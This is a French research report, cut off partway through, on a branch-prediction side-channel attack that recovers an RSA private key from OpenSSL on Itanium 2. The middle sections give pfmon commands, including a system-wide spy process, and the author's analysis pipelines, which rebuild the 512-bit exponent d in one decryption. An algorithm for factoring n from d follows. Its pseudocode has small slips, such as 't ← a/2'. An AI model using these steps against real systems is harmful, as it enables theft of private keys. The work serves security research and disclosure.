Mise en oeuvre d'attaques de cryptanalyse basées sur les unités de prédiction de branches

Jérémy JEAN — Jeremy.Jean@imag.fr

VERIMAG, CTL

Juin 2008

Résumé

Ce rapport expose une attaque par canaux cachés récente basée sur les mécanismes de prédiction de branches des nouveaux processeurs. Les sauts conditionnels peuvent fournir des informations sur des données sensibles manipulées par un processus. Les unités de prédiction de branches étant partagées par tous les processus s'exécutant sur une machine, il est possible qu'un processus espion analyse le comportement de cette unité pour en déduire des informations se déroulant au sein d'un autre processus auquel il n'a en théorie pas accès. Nous allons détailler cette attaque dans le cas du système de chiffrement et d'authentification le plus célèbre du moment, RSA, et la librairie *open source* la plus utilisée qui l'implémente, à savoir OpenSSL.

Nous montrons que cette attaque permet de reconstituer entièrement la clé privée de RSA en une seule signature lorsqu'un processus espion est exécuté en parallèle. Pour que la méthode fonctionne, il est cependant nécessaire que la machine dispose de l'interface de mesure de performances dans son noyau, et que l'on puisse y exécuter un programme écrit par nos soins.

D'une efficacité redoutable, il existe cependant des solutions pour éviter les fuites d'informations par les unités de prédictions de branches. Nous donnons ici des conseils en prenant l'exemple d'une version corrigée de OpenSSL suite à la découverte de cette attaque.

Mots-clés: Cryptographie, RSA, attaque par canaux cachés, prédiction de branches

Table des matières

1 Introduction

Depuis quelques années, la sécurité informatique est devenue un domaine incontournable pour beaucoup de secteurs d'activités. Dès que des données confidentielles entrent en jeu dans un échange quelconque, il est primordial de minimiser le risque que ces informations se retrouvent exposées au grand jour. Les télécommunications étant en constante évolution, la sécurité des données doit elle aussi s'adapter au rythme, autant au niveau pratique que théorique. De nouvelles découvertes et des ordinateurs de plus en plus rapides sont des risques potentiels pour les années à venir. Il est important de garder ces paramètres à l'esprit lors du développement de nouveaux systèmes de protection.

La notion de sécurité en informatique regroupe de vastes domaines, parmi lesquels on trouve la cryptologie consistant en l'étude de méthodes de chiffrement. Par étude, on entend à la fois la construction de la théorie, sa mise en pratique mais également la résistance aux attaques. Le développement des attaques reposent sur les mêmes bases théoriques mais consistent à mettre en défaut des systèmes cryptographiques existants. Les attaques existent et évoluent depuis toujours, mais de nouvelles approches ont vu le jour ces dernières années. L'idée ne se base alors plus sur l'analyse du système en lui-même, mais sur l'effet qu'il a avec l'environnement. On peut par exemple mesurer la consommation électrique d'un appareil, son rayonnement, son dégagement de chaleur, etc. Ce type d'attaques est classé dans la catégorie des *attaques par canaux cachés* [1, 2]. Les possibilités offertes par ces attaques sont énormes et ne laissent pas de côté les systèmes informatiques.

Les architectures des ordinateurs ont connu de grands changements au cours des dernières années, leur permettant ainsi de gagner en rapidité. Les processeurs actuels embarquent des systèmes de plus en plus complexes hérités des générations précédentes, parmi lesquels on peut citer le *pipelining*. Dans ce type d'architecture, les instructions exécutées par le processeur sont découpées en étages, et le pipelining permet de traiter plusieurs instructions en parallèle. On peut ainsi commencer l'exécution d'une instruction sans avoir à attendre la fin de la précédente.

Une autre évolution qui vient se greffer par dessus le *pipelining* est la prédiction de branches. Parmi les instructions connues du processeur, on trouve les branchements conditionnels. Ce sont des changements dans l'ordre d'exécution des instructions d'un programme, suivant une condition booléenne. L'idée de la prédiction de branches est de détecter ces instructions à l'entrée du pipeline et de les traiter différemment des autres, en tentant de prédire la condition. En supposant qu'on puisse la prédire, il suffira de charger dans le pipeline la bonne séquence d'instructions.

A ce niveau, il devient évident qu'au sein du processeur, il y aura un traitement

différent suivant la valeur de la condition. Supposant de plus que la condition porte sur des données sensibles, on pourrait envisager d'*écouter* ce qu'il se passe à l'entrée du pipeline afin d'obtenir ces informations.

Le présent papier se base sur ce mécanisme pour mettre en place une attaque par canaux cachés contre le système cryptographique RSA [3], appliqué à la librairie *open source* OpenSSL [4, 5].

Objectif. Nous allons chercher à récupérer la trace d'exécution des branchements conditionnels dans l'exponentiation de Montgomery implémentée dans OpenSSL. A partir de cette trace, nous reconstituerons l'exposant privé d de RSA, identifiant de la machine attaquée.

2 Rappel sur RSA

2.1 Cryptogaphie à clé publique

Les algorithmes à clés publiques se servent de deux clés : une clé privée, connue d'une et une seule personne et une clé publique connue de tous. La clé privée sert à déchiffrer un message quand la clé publique sert au chiffrement. Par chiffrement, on entend la transformation d'un message clair en un message codé, crypté. Le déchiffrement est l'opération inverse. On parle de chiffrement asymétrique, par opposition au chiffrement symétrique, car les deux clés sont distinctes.

Imaginons par exemple la situation suivante : Bob veut envoyer un message chiffré à Alice. Alice doit avant tout générer une paire de clés. Elle envoie ensuite sa clé publique à Bob qui peut alors l'utiliser pour chiffrer les données sensibles. Les informations cryptées passent dans la nature (Internet, réseau mobile, ...) puis parviennent à Alice. Avec sa clé privée, cette dernière peut déchiffrer le message de Bob.

Ce mécanisme est nécessaire puisqu'une troisième personne qui écouterait ce qui passe sur le canal serait en mesure de lire les données sensibles échangées entre Alice et Bob. Dans ce schéma, sans la clé privée, cette personne ne peut rien faire.

2.2 Rivest Shamir Adleman

Le nom RSA fait référence aux noms de ses créateurs, à savoir Ron Rivest, Adi Shamir et Len Adleman. RSA est un algorithme asymétrique de cryptographie à clé publique breveté par le MIT en 1983 aux États-Unis d'Amérique [3]. Le brevet a expiré le 21 septembre 2000.

RSA repose sur le calcul dans les groupes multiplicatifs $\mathbb{Z}/n\mathbb{Z}$, et plus précisément sur l'exponentiation modulaire. $\mathbb{Z}/n\mathbb{Z}$ muni de la multiplication est un groupe. Toutes les opérations dans ce groupe se font modulo l'entier n. Par extension de la multiplication $a * b \pmod{n}$, on définit l'exponentiation modulaire :

$$a^b \pmod{n} = \underbrace{a * ... * a}_{b\,fois} \pmod{n}$$

Dans RSA, la clé publique et la clé privée sont des entiers dans $\mathbb{Z}/n\mathbb{Z}$. Pour générer les clés, on applique l'algorithme 1 suivant :

Algorithme 1 — Génération d'une paire de clé RSA

Résultat: La clé publique (n, e) et la clé privée (n, d)
Choisir aléatoirement deux nombres premiers p et q
Calculer $n = p * q$
Choisir un entier e premier avec $\varphi(n)$
Trouver d l'inverse de e modulo $\varphi(n)$: $e * d = 1 \pmod{\varphi(n)}$
return (n, e) et (n, d)

Dans cet algorithme, le produit $n = p * q$ définit le groupe multiplicatif $\mathbb{Z}/n\mathbb{Z}$ dans lequel seront effectués tous les calculs. φ est la fonction indicatrice d'Euler : $\varphi(n)$ est le nombre d'éléments inférieurs à n qui sont premiers avec n. Choisir e premier avec $\varphi(n)$ implique qu'il est inversible dans $\mathbb{Z}/\varphi(n)\mathbb{Z}$, ce qui prouve l'existence de d.

A l'issue de cet algorithme, on appelle (n, e) la clé publique de RSA et (n, d) la clé privée.

Pour chiffrer un message m en un message c, on utilise la clé publique en faisant une exponentiation modulo n :

$$c = m^e \pmod{n}$$

Le déchiffrement utilise le même principe, mais on se sert de la clé privée d comme exposant :

$$c^d = m \pmod{n}$$

Grâce au petit Théorème de Fermat, on retombe bien sur le message m car :

$$\begin{aligned} c^d &= (m^e)^d \pmod{n} \\ &= m^{ed} \pmod{n} \\ &= m \pmod{n} \end{aligned}$$

La force de RSA repose sur l'impossibilité de retrouver le message d'origine m par la seule connaissance de (n, e) et du message chiffré c, pour peu que l'on choisisse un entier n suffisamment grand. Il est effet impossible de retrouver la clé privée (n, d) en temps raisonnable à partir de (n, e). Pour casser RSA, il faut factoriser l'entier n, produit de deux entiers premiers de grande taille. Par sûreté, il est recommandé que la taille des clés RSA soit au moins de 2048 bits, ce qui représente un nombre d'environ 615 chiffres décimaux. La factorisation est l'un des problèmes actuels que l'on ne sait pas résoudre en temps raisonnable. La théorie est connue, mais trouver la décomposition en facteurs premiers d'un entier relativement grand n'est pas envisageable en temps humain, même avec plusieurs milliers d'ordinateurs.

Ainsi, casser RSA revient à connaître un des éléments de la clé privée, à savoir d ou même p ou q, d'où on pourrait retrouver simplement d.

L'attaque dont traite ce papier cherche à reconstituer la clé privée d.

3 Description de l'attaque

Pour comprendre l'attaque, il faut avant tout savoir comment les calculs sont gérés par OpenSSL, puis avoir un aperçu de l'architecture du processeur et notamment comment analyser les mécanismes de prédictions de branches.

3.1 OpenSSL

OpenSSL est une librairie écrite en langage C implémentant les fonctions basiques de la cryptographie, et RSA en particulier. La version actuelle datant du 19 Octobre 2007 est la `0.9.8g`. Beaucoup de fonctions sont à disposition dans cette librairie, mais nous n'en utiliserons ici qu'une infime partie.

La librairie utilise un système de gestion de très grands entiers, appelés *bignums*. Les architectures des ordinateurs sont en effet limitées dans la taille des nombres qu'elles peuvent gérer. Or en cryptographie, il est très fréquent que l'on ait à manipuler des entiers de plus de cent chiffres décimaux. C'est pourquoi des librairies comme OpenSSL, GMP ou Miracl gèrent des bignums. De paire avec ces entiers, on trouve évidemment les opérations qu'on peut leur appliquer : l'addition, la multiplication, ...

Dans le cadre de RSA, nous allons nous intéresser tout particulièrement à l'exponentiation modulaire. De telles opérations sont très coûteuses pour le processeur et sont alors calculées par des algorithmes très efficaces. Par exemple, pour calculer $a^x \pmod n$, on pourrait imaginer disposer de la multiplication modulo n, et de la répéter $x - 1$ fois. C'est une solution vraiment basique, la pire qu'on puisse imaginer en temps d'exécution

comptabilisant le nombre maximal de $x - 1$ mutliplications.

Avec un peu de réflexion, on a réussi avec le temps à construire des algorithmes plus rapides. Celui utilisé par OpenSSL et sur lequel nous allons nous appuyer porte le nom d'*exponentiation rapide* ou *Square-And-Multiply* [6]. L'idée de base est d'introduire une récursion en divisant la taille de l'exposant par deux à chaque pas.

$$\text{puissance}(x,\, n) = \begin{cases} x & \text{si } n = 1 \\ \text{puissance}(x^2,\, \frac{n}{2}) & \text{si } n \text{ est pair} \\ x * \text{puissance}(x^2,\, \frac{n-1}{2}) & \text{si } n > 2 \text{ est impair} \end{cases}$$

Ainsi, on ne fait plus $O(x)$ multiplications, mais $O(\log x)$.

Dans OpenSSL, la fonction qui réalise cette opération porte le nom de `BN_mod_exp_mont`, pour *Bignum Modular Exponentiation Montgomery*. Montgomery a introduit un algorithme portant son nom, *Montgomery reduction*, pour la multiplication modulaire [7]. C'est cet algorithme qui est utilisé par OpenSSL pour effectuer les multiplications dans la fonction d'exponentiation. OpenSSL implémente cet algorithme en version itérative, en se basant sur l'écriture binaire de l'exposant.

Soit d l'exposant, notons d_i le bit d'indice i dans l'écriture décimale de d. L'algorithme est décrit ci-dessous.

Algorithme 2 — Version binaire de l'algorithme *Square-and-Multiply*

Paramètres: m, d, n
Résultat: $c = m^d \pmod n$

```
c ← m
for i = 1..n do
   c ← c * c (mod n)
   if d_i = 1 then
      c ← c * m (mod n)
   end if
end for
return c
```

Pour aller encore plus vite, on peut rajouter une optimisation sur cet algorithme pour stocker les valeurs de $m^i \pmod n$ dans un tableau, pour i petit. i varie dans un intervalle que l'on appelle *fenêtre*. Cette technique, portant le nom de *sliding window optimization*, est utilisée par OpenSSL dès que l'exposant d dépasse une certaine taille (Algorithme 3). OpenSSL prend une taille de fenêtre de 1 par défaut, 3 si l'exposant fait plus de 23 bits, 4 si plus de 79 bits, 5 si plus de 239 bits et 6 si plus de 671 bits. Ainsi, un exposant d de taille 512 bits aura le droit à une fenêtre de 5 dans l'algorithme d'exponentiation.

Algorithme 3 — Exponentiation modulaire avec la *Sliding window optimization*

Paramètres: m, d, n
Résultat: $c = m^d \pmod n$

```
Choisir la taille d de la fenêtre
Calculer et stocker m^i (mod n) pour i = 3, 5, ..., 2^d − 1
Décomposer d en fenêtres nulles et non nulles F_i de longueurs L(F_i), i = 0, ..., k − 1
c ← m^{F_{k−1}}
for i = k − 2 downto 0 do
    c ← c^{2^{L(F_i)}} (mod n)
    if F_i ≠ 0 then
        c ← c * m^{F_i} (mod n)
    end if
end for
return c
```

Dans RSA, c'est cet algorithme qui sera appelé pour le déchiffrement d'un message c. On l'appellera avec les paramètres c, d et n, et on obtiendra le message m en clair.

On voit bien que l'on a un traitement particulier dans le cas où l'on trouve un bit positionné à 1 dans l'exposant d. Un branchement conditionnel permet d'éviter de faire une multiplication supplémentaire. La condition du branchement est un test directement fait sur un bit de la clé privée. Si on arrive à récupérer la suite des évaluation des conditions de cet algorithme, alors on pourra reconstituer la clé privée d et on aura alors cassé RSA.

3.2 Hardware

Le mécanisme de prédiction de branches n'est pas disponible sur toutes les architectures, mais seulement sur des processeurs très récents. Dans tous les cas, l'unité de prédiction se situe entre le décodage de l'instruction courante et l'entrée dans le pipeline.

Une instruction de branchement est une instruction qui change l'ordre séquentiel d'exécution des instructions. Celle-ci prend en paramètre une adresse mémoire où continuer l'exécution. Pour un branchement inconditionnel, ceci se traduit par un saut sur une autre instruction dans le programme, tandis qu'un branchement conditionnel dépend d'une condition booléenne c. Si la condition est fausse, on continue l'ordre séquentiel, sinon on saute sur l'instruction pointée.

L'évaluation de la condition c peut être complexe et demander du temps au processeur. Pour ne pas avoir à attendre, celui-ci *sélectionne* une des deux branches et l'envoie dans le pipeline. Si le choix s'est avéré correct, l'exécution du programme continue sans aucun délai. Mais si le choix n'a pas été le bon, on parle de *misprediction*, il faut vider le pipeline pour le recharger avec la bonne séquence d'instructions, celles de l'autre branche.

Le choix de la branche ne relève pas du hasard mais du mécanisme de prédiction de branches. Il est alors très important que l'algorithme de prédiction choisisse celle qui a la plus grande probabilité d'être réellement prise, sans quoi on aurait des ralentissements. Pour cela, l'unité de prédiction se base sur les évaluations de la même branche à des moments antérieurs. Une même instruction de branchement peut en effet être exécutée régulièrement, comme le test de sortie de boucle par exemple. Se souvenir de l'issue des exécutions précédentes est une information essentielle dans l'élection de la branche à exécuter.

Pour implanter la prédiction de branches, les nouveaux processeurs disposent d'une unité spéciale, appelée *Branch Prediction Unit* (BPU). Celle-ci est très dépendante de l'architecture et varie énormément d'un processeur à un autre [8]. Cependant, certaines fonctionnalités se retrouvent quelques soient les machines. Dans toutes les BPU, on trouve une table qui permet d'associer une adresse source d'un branchement conditionnel et une valeur booléenne correspondant à l'issue du saut, i.e. *pris* ou *pas pris*. Dans le cas où le saut a été pris, le processeur a besoin de l'adresse de destination afin de pouvoir remplir le pipeline avec les bonnes instructions. Dans ce cas, on stocke également l'adresse de destination. Cette table est appelée *Branch Target Buffer* (BTB). Elle est très similaire à un cache traditionnel. Pour savoir si le saut a été pris ou pas pris, il faut attendre la fin de tout le mécanisme de prédiction. On peut alors rentrer les données dans le BTB, ce qui sera utile pour l'itération suivante. Le BTB étant de taille fixe, l'entrée la plus ancienne sera supprimée et remplacée par la nouvelle.

La principale différence suivant les architectures est la taille du BTB [9]. Sur un processeur de type Itanium 2, on peut stocker au maximum quatre couple d'adresses. Ceci signifie que le processeur pourra repérer des motifs de longueur au plus 4. Les compilateurs les plus performants utilisent ceci afin d'optimiser le code généré, en tirant parti au maximum du hardware.

Le plus important dans cette attaque est non pas de connaître comment a été prédite la branche, mais qu'elle en a été l'issue. Pour cela, il existe des outils d'analyse système.

3.3 Pfmon

Afin de récupérer le suite $(c_i)_i$ des valuations des conditions c, nous avons besoin d'accéder au matériel pour lire les informations de la BPU et en particulier les entrées dans le BTB. Pour accéder à ces informations, il existe des outils de *monitoring system* comme `pfmon`.

3.3.1 Fonctionnement de pfmon

`pfmon` est un outil qui exploite l'interface `perfmon` du noyau. Il permet d'analyser des programmes ou un système entier, afin d'en améliorer les performances. `pfmon` utilise la librairie `libpfm` qui permet de programmer le PMU (*Perfmomance Monitoring Unit*), une unité de mesure de performances directement implantés aux côtés du processeur.

Tous les processeurs récents disposent d'une PMU qui contient plusieurs registres. Ces registres sont des compteurs sur des événements internes au processeur. En configurant correctement le PMU, on peut par exemple savoir combien de *misprediction* sont survenues dans le BPU lors de la prédiction de branches entre deux instants. Traditionnellement, cette unité de mesure de performances sert à optimiser les programmes critiques d'un système d'exploitation.

Pour cette attaque, nous allons nous en servir afin de déterminer la suite $(c_i)_i$ des conditions dans l'exponentiation modulaire de RSA. L'architecture retenue est un serveur à 8 coeurs de type Itanium 2 de la famille des processeurs Intel 64 bits. Sur cette architecture, le PMU dispose de 16 registres de configurations (PMC), 18 registres de données (PMD) et de 4 autres compteurs. Nous avons vu que sur cette architecture, le BTB ne peut contenir plus de 4 couples d'adresses. Pour en analyser le contenu, nous n'aurons donc besoin que de 9 registres : 8 pour contenir les adresses et 1 supplémentaire pour maintenir un pointeur sur la dernière entrée dans le BTB.

`pfmon` permet de lancer une analyse d'un système en ligne de commande. Avec les bonnes options, il permet de configurer le PMU correctement et affiche les résultats sur la sortie standard.

3.3.2 Un exemple

Considérons par exemple le programme simpliste suivante :

```
1  #define L 3
2  void do_loop(int N) {
3    int a,j;
4    for(j=1; j<=N; j++)
5      if(j%L==0) a=1;
6  }
7
8  int main(int argc, char **argv) {
9    if(argc!=2) {printf("usage ./boucle N\n"); return 0;}
10   do_loop(atoi(argv[1]));
11   return 0;
12 }
```

Code — Exemple de code analysé par pfmon

On va s'intéresser au test à l'intérieur de la boucle dans la fonction `do_loop`, en terme de *pris* (`1`) ou *pas pris* (`0`). En lançant avec N à 6, on devrait obtenir `110110`. En compilant ce programme sans aucune optimisation (`-O0`), le code assembleur généré pour l'instruction qui nous intéresse est :

```
0x4000000000000830: br.cond.dptk.few 0x4000000000000890 <do_loop+0x130>
```

Le `br` signifie que l'instruction est de type branchement, `cond` qu'il dépend d'une valeur booléenne, `dptk` que la prévision dynamique est *prise* (taken). `0x4000000000000830` représente l'adresse en mémoire de l'instruction. Avec `pfmon`, il est possible de mettre un filtre sur toutes les données qui transitent dans le BTB. On peut appliquer un tel filtre dans ce cas, pour ne récolter que les informations concernant cette branche. Ainsi, on lancerait `pfmon` de cette manière :

```
pfmon --long-smpl-periods=1 --smpl-entries=10 -e BRANCH_EVENT \
      --irange=0x4000000000000830-0x4000000000000840 -- ./boucle 6
```

Le résultat est reporté en Annexe. En regardant la dernière entrée dans le BTB capturé par le PMU, on peut reconstituer la séquence `110110`. Il est également possible de récupérer directement la séquence grâce à un petit programme analysant le flux de sortie de `pfmon` :

```
pfmon --long-smpl-periods=1 --smpl-entries=10 -e BRANCH_EVENT \
      --irange=0x4000000000000830-0x4000000000000840 \
      -- ./boucle 6 | ./analyze_boucle
```

qui retourne :

```
110110
```

On peut ainsi retrouver la trace d'exécution de cette branche particulière. En appliquant le même principe au branchement conditionnel de l'exponentiation de montgomery pour le déchiffrement de RSA, on sera en mesure de récupérer tous les bits de la clé privée d en une seule passe.

4 Mise en place de l'attaque

L'attaque comprend deux processus : l'attaqué et l'espion. Le premier est celui qu'on cherche à analyser, pour retrouver la trace d'exécution d'une branche en particulier. Le deuxième est celui qui espionne le premier via `pfmon` qui écoute ce qui transite dans le BTB.

4.1 Processus cible

Afin de mettre en place l'attaque, on va écrire un processus cible qui fera uniquement un déchiffrement RSA. Avec OpenSSL, on commence par générer une clé privée pour ce processus. Pour les tests, j'ai choisi une clé de 512 bits, mais tout resterait valable pour des tailles supérieures. Pour la suite, nous utiliserons les valeurs suivantes stockées dans des fichiers :

```
n = D3FBA1D00B5A19F8DC1F59A63B1BF662E2AEDC462A9FD3199C8743C79C8A39EBB2F
    30310DD36A11DF83A2A813ECE3590D2B6327C3C94C75DDCFBBB0AD8F0E095
e = 10001
d = 34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC76D
    62C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
```

Le processus cible fait une unique opération, $c^d \pmod{n}$, qu'on traduit en C avec OpenSSL par le code suivant.

```c
#include "openssl/rsa.h"
#include "openssl/bn.h"
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  RSA *rsaKeys;
  FILE *fp;
  unsigned char n[512];
  unsigned char d[512];
  unsigned char e[512];

  // get params from files
  fp=fopen("n", "r"); fscanf(fp, "%s\n", n); fclose(fp);
  fp=fopen("e", "r"); fscanf(fp, "%s\n", e); fclose(fp);
  fp=fopen("d", "r"); fscanf(fp, "%s\n", d); fclose(fp);

  // set n and d in rsaKeys
  rsaKeys=RSA_new();
  BN_hex2bn(&(rsaKeys->n), (const char*)n);
  BN_hex2bn(&(rsaKeys->e), (const char*)e);
  BN_hex2bn(&(rsaKeys->d), (const char*)d);

  // c
  unsigned char *datain = (unsigned char*)strdup("\x60\xC4\x01\x58\x54\xB7\
      xBA\x17\x93\x3B\xC1\x78\xAA\x0C\x43\x76\x98\x54\x33\xE0\xBA\xE6\x3B\
      x32\x44\xFC\x40\x95\xDA\x80\xDC\x99\xCA\x69\xCA\x67\x47\x75\x88\x4E\
      x31\x40\x42\x1D\x86\x91\x79\x0F\x91\xDF\xB0\x50\xA8\x4D\x30\x51\xDB\
      x2A\xBA\x23\x0E\x04\x2E\xB9\x01");

```

```
27    // m
28    unsigned char *decryptData = (unsigned char *)malloc(RSA_size(rsaKeys)*
          sizeof(*decryptData));
29
30    // m = c^d (mod n)
31    RSA_private_decrypt(strlen((const char*)datain)-1, datain, decryptData,
          rsaKeys, RSA_PKCS1_PADDING);
32
33    // display m
34    printf("%s\n", decryptData);
35
36    // free
37    RSA_free(rsaKeys);
38
39    return 0;
40 }
```

Code — Contenu de attackee.c

C'est l'appel à la fonction `RSA_private_decrypt` qui effectue le déchiffrement du message c stocké ici dans `datain`. On peut tester de lancer ce programme :

```
$ ./attackee
this is a test by Jeremy
```

A partir de maintenant, nous considérons que le programme `attackee` est seulement exécutable, et que le fichier d n'est pas accessible. Pour commencer, nous supposerons que nous contrôlons le processus cible, c'est-à-dire que l'on peut commencer son exécution à un moment choisi. Dans un deuxième temps, nous supprimerons cette hypothèse et constaterons que l'on peut également retrouver d en une seule exponentiation.

4.2 En controlant le lancement du processus cible

Dans cette section, on fait l'hypothèse que nous pouvons démarrer le processus cible au moment que nous voulons. Nous le démarrons donc en même temps que l'analyse du BTB par `pfmon`.

La principale difficulté est de trouver l'adresse du branchement conditionnel sur lequel on distingue le cas $d_i = 0$ ou $d_i = 1$. Pour commencer, on recompile la dernière version de OpenSSL sans aucune optimisation (`-O0`), en désactivant l'utilisation de la fenêtre (`window=1`) et avec le flag `BN_FLG_CONSTTIME` à 0.

La branche intéressante se trouve dans la fonction `BN_mod_exp_mont` de OpenSSL qui réalise l'exponentiation $c^d \pmod n$. Le code C est reporté en Annexe 7.2. Les parties intéressantes sont les lignes aux alentours des appels à la fonction de multiplication

`BN_mod_mul_montgomery`. Le tout premier appel à la ligne 72 permet de construire le tableau des valeurs précalculées qui servent à l'optimisation utilisant la fenêtre. Cet appel est hors de la boucle sur les bits de l'exposant, et nous ne nous en préoccuperons pas plus. Le deuxième appel se trouve à la ligne 96. Celui-ci se trouve dans une boucle et n'est exécuté que si la condition `BN_is_bit_set(p, wstart)==0` est vraie. C'est donc ce test qui est déterminant et qu'il faut analyser. Dans le cas où le saut est pris, la multiplication n'est pas effectuée, on déduit un 0 à l'indice *wstart*, un 1 sinon. Le dernier appel à la ligne 130 n'est exécuté que si on utilise une fenêtre d'une taille au moins 2. Nous reviendrons sur cette optimisation plus tard.

Il faut donc que l'on trouve l'adresse du test sur le résultat de la fonction `BN_is_bit_set`. En débuguant, on trouve rapidement le code suivant :

```
0x4000000000078bd0 :        ld8 r43=[r14]
0x4000000000078bd1 :        ld4 r44=[r15]
0x4000000000078bd2 :        br.call.sptk.many b0=<BN_is_bit_set>
0x4000000000078be0 :        mov r1=r42
0x4000000000078be1 :        mov r14=r8
0x4000000000078be2 :        cmp4.eq p7,p6=0,r14
0x4000000000078bf0 :        nop.m 0x0
0x4000000000078bf1 :        nop.f 0x0
0x4000000000078bf2 :        br.cond.dptk.few 0x4000000000078ce0
```

On a donc l'adresse du branchement conditionnel : `0x4000000000078bf2`. Il faut utiliser ceci comme filtre des données circulant dans le BTB pour recueillir les informations sur la valuation de la condition, à savoir la connaissance du bit d_i de la clé privée d.

Le lancement de la commande

```
$ pfmon --long-smpl-periods=1 -e BRANCH_EVENT \
        --irange=0x4000000000078bf0-0x4000000000078c00 \
        -- ./attackee
```

affiche un long listing qui traduit les état du BTB au fur et à mesure de la signature RSA. On remarque que le nombre d'entrées comptabilisées est de l'ordre de 512. Pour analyser ce listing, on récupère uniquement la dernière entrée correspondant à l'adresse du saut, et on regarde si il a été pris ou pas. Dans le cas où il a été pris, on affiche un 1, sinon on affiche un 0. L'outil que j'ai écrit qui réalise ceci s'appelle `analyze_attackee_0` (0 car OpenSSL a été compilé en `-O0`).

La commande suivante :

```
$ pfmon --long-smpl-periods=1 --smpl-entries=1165 -e BRANCH_EVENT \
        --irange=0x4000000000078bf0-0x4000000000078c00 \
        -- ./attackee | ./analyze_attackee_0
```

produit alors le résultat suivant :

```
1101001010001110011101101100001101110111000000110010000000011001000110000
1001011111010110111100000111001111011100010010001100101010001000101001111
1110110110011110010110100111101111100111000111110011101011101001101100100
1000010110000111001000111101101110001110110110101100010110001011011001100
0000100101101101101000001010001111010000100000111011001110110101101101000
1111111001101011000011001010111111010111110110110100100111101100111000100
100011101101101011011100100001001101101110001110000111001111000000011001
```

Dans l'algorithme d'exponentition, on avait supprimé les bits à 0 inutiles du début de l'écriture binaire de d. Après un traitement simple, on retrouve la valeur hexadécimale de la clé d.

```
$ pfmon --long-smpl-periods=1 -e BRANCH_EVENT \
        --irange=0x4000000000078bf0-0x4000000000078c00 \
        -- ./attackee | ./analyze_attackee_0 | ./add_padding | ./bin2hex
```

Ce qui donne :

```
34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC
76D62C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
```

qui est bien la clé privée d que l'on s'était fixée au début.

On peut maintenant essayer avec une version optimisée de OpenSSL (`-O3`). Le principe est exactement le même, à l'adresse du branchement près.

```
$ pfmon --long-smpl-periods=1 -e BRANCH_EVENT \
        --irange=0x400000000004df90-0x400000000004dfa0 \
        -- ./attackee | ./analyze_attackee_3 | ./add_padding 9 | ./bin2hex
```

```
34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC
76D62C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
```

Maintenant, on peut mettre en place la *sliding window optimization* qui consiste à précalculer des petites exponentiations de c et d'effectuer les multiplications avec ces

valeurs. Pour notre exemple de 512 bits, la fenêtre utilisée par OpenSSL a une longueur de 5. Désormais, plutôt que d'écouter les sauts sur une seule instruction, on va écouter à deux adresses. Dans le code de `BN_mod_exp_mont` (Annexe 7.2), la deuxième adresse est celle du branchement du deuxième appel à `BN_is_bit_set` de la ligne 116. En désassemblant, on récupère cette deuxième adresse et on écoute sur une plage d'adresse qui contient les deux. Le résultat est le même : on reconstitue d.

```
34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC
76D62C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
```

4.3 Le processus cible est déjà lancé

Jusqu'ici on avait supposé qu'on lançait le processus cible au démarrage de l'analyse du BTB. Ceci est une forte hypothèse, et il est plus raisonnable de considérer que l'exponentiation peut être faite à n'importe quel moment.

Pour cela, nous allons configurer le PMU via `pfmon` de manière à analyser tout ce qui passe, jusqu'à ce que la clé soit récupérée. En pratique, cela se traduit par le lancement du processus espion, qui attend les adresses pour lequel il a été paramétré. Lorsqu'il a démarré, on peut demander le calcul de $c^d \pmod{n}$ et arrêter ensuite le processus espion.

`pfmon` dispose d'une option pour analyser le système entier. Dès lors, on ne lui passe que la plage d'adresses à écouter.

```
$ pfmon --system-wide --long-smpl-periods=1 -e BRANCH_EVENT \
        --irange=0x400000000004df90-0x400000000004dfa0 \
        | ./analyze_attackee_3 | ./add_padding 9 | ./bin2hex
```

Une fois ce processus lancé, il attend d'être arrêté. On peut alors lancer le processus cible `attackee` dans un autre terminal. Les calculs vont se faire sur un des processeurs de la machine et des informations sur les branches exécutées vont transiter dans une des unités de prédiction de branches. Une fois l'exécution terminée, il ne nous reste plus qu'à analyser les données recueillies par `pfmon` et à traiter la suite de bits pour reconstituer la clé. L'arrêt de `pfmon` donne :

```
34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC
76D62C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
```

Ainsi, pour peu que l'on connaisse l'adresse d'un branchement conditionnel, on est en mesure de récupérer la valeur de la condition.

5 Conséquences & solutions

5.1 Conséquences

5.1.1 Factorisation de n

Avec cette attaque, on a réussi à obtenir l'exposant privé d de RSA. Pour casser totalement RSA, on peut trouver les deux facteurs premiers p et q de n. Pour cela, on applique l'algorithme 4.

Algorithme 4 — Factorisation de n en connaissant n, d et e

Paramètres: n, d, e
Résultat: p et q tels que $n = pq$

```
s ← −1
t ← e ∗ d − 1
while t ≠ 0 (mod 2) do
    s ← s + 1
    t ← a/2
end while
Choisir a au hasard entre 0 et n − 1
α ← a^t (mod n)
if α = 0 ou α = n − 1 then
    Choisir un autre entier a et recommencer avec un autre a
end if
for i from 1 to s do
    a ← α^2 (mod n)
    if a = 1 (mod n) then
        return p = gcd(α, n) et q = n/p
    end if
    α ← a
end for
Choisir un autre entier a et recommencer
```

La théorie prouve qu'il faut tirer en moyenne deux entiers a pour factoriser n avec cet algorithme. Une implémentation de cet algorithme avec OpenSSL est présenté en Annexe 7.3

Appliqué à l'exemple développé depuis le début, on trouve :

```
$ ./run_wide.sh

RSA Parameters :
n = D3FBA1D00B5A19F8DC1F59A63B1BF662E2AEDC462A9FD3199C8743C79C8A39EBB2F3
    0310DD36A11DF83A2A813ECE3590D2B6327C3C94C75DDCFBBB0AD8F0E095
e = 10001
d = 34A39DB0DDC0C8064612FADE0E7B89195114FED9E5A7BE71F3AE9B242C391EDC76D6
    2C5B3025B6828F420ECED6D1FCD6195FAFB693D9C48EDADC84DB8E1CF019
n = p * q
